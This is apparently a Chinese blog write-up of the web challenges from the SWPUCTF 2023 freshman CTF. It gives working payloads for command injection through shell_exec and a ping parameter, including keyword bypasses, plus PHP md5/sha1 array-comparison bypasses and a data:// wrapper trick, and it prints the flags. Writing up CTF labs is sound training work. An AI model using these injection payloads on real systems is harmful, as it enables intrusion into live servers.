[SWPUCTF 2023 秋季新生赛]web(详解)

目录


If_else

源码意思就是自己写php代码进去对前面代码进行闭合然后在注释后面的

 RCE-PLUS

发现shell_exec函数意思就算你命令执行成功了也不会有回显

 我们可以使用tee命令:tee命令的作用就是读取标准输入内容,将读取到的数据写到标准输出和文件及 ?cmd=ls / | tee 1.txt  然后在访问1.txt参看读取内容

 查看flag 使用反斜线绕过一下关键字及?cmd=ca\t /fl\ag | tee 2.txt  访问2.txt flag就出来了

 

 flag=NSSCTF{6ccf35a1-5810-45de-9c78-b1f621036b14}

Pingpingping 

代码审计得知需要我们传入一个参数Ping_ip.exe,然后在执行system(ping -c 3 + 刚刚我们传的值)

 注意这里涉及到一个非法传参的问题,在PHP官方文档中有解释当变量名中出现空格时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe 具体参考   所以制造                     paylaod: Ping[ip.exe=127.0.0.1 | ls /

执行成功了直接查看flag 及 Ping[ip.exe=127.0.0.1 | cat /flag

 flag=NSSCTF{a992a93f-d22c-45e8-b125-04a6cdb8f35a}

 一键连接!

分析代码得第一个if md5_1和md5_2 进行md5加密后强比较相等但是md5_1不等于md5_2,可以使用数组绕过:由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了

?md5_1[]=1&md5_2[]=2 

  第二个if也可以使用数组绕过的方式

sha1_1[]=3&sha1_2[]=4

 第三个if 看到file_get_contents 函数的作用就是输出文件里面的内容及想到使用data//协议传入数据流及

new_player=data://text/plain,Welcome to NSSCTF!!!

最后还有一个post的传参没有任何的过滤及Nss=system("cat /f*");  

综上所述payload:?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!

 flag=NSSCTF{5ca7ac9c-2904-4986-8fa5-d0d9eb436c9d}

NSS_HTTP_CHEKER

 就喜欢简单明了的大家也可以参考[LitCTF 2023]Http pro max plus  打开burp一把嗦就好了具体如下

 总结:

        新知识点// 1.tee命令的使用 2. 数组绕过的原理 3. data协议的使用4. php的非法传参

 

 

 

 

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值